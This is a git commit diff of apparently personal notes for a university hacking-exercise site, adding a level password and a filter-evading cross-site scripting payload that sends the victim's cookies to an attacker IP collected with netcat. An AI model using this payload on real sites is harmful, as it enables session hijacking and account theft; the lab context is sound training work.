final, all things done yay wow WOHOO master
authorMart Lubbers <mart@martlubbers.net>
Mon, 1 Jun 2015 14:24:52 +0000 (16:24 +0200)
committerMart Lubbers <mart@martlubbers.net>
Mon, 1 Jun 2015 14:24:52 +0000 (16:24 +0200)
pw

diff --git a/pw b/pw
index 1e4ec79..ac8319a 100644 (file)
--- a/pw
+++ b/pw
@@ -29,8 +29,14 @@ level5: dWtNMmqV5(zmkV
        On said IP listen on port 80, for example with netcat:
        # nc -l -p 80
 
-level6: 
-       Still working on this one
+level6: FGnX!vYH2WNC4A
+       In contact page use as url:
+http://hackme.cs.ru.nl/?level=6&page=&search=%09%3Cs%3Cscript%3Ecript%3Elocation.href%3D%27http%3A%2F%2FIPX.IPX.IPX.IPX%2F%27.concat%28document.cookie%29%3B%3C%2Fs%3C%2Fscript%3Ecript%3E
+       
+       TO get this url, same as above:
+       <s<script>cript>location.href='http://85.214.207.140/'.concat(document.cookie);</s</script>cript>
+       
+       Listen to the ip in the same way as above
 
 ===============================================================================
                     GNU GENERAL PUBLIC LICENSE
@@ -706,4 +712,4 @@ into proprietary programs.  If your program is a subroutine library, you
 may consider it more useful to permit linking proprietary applications with
 the library.  If this is what you want to do, use the GNU Lesser General
 Public License instead of this License.  But first, please read
-<http://www.gnu.org/philosophy/why-not-lgpl.html>.
\ No newline at end of file
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.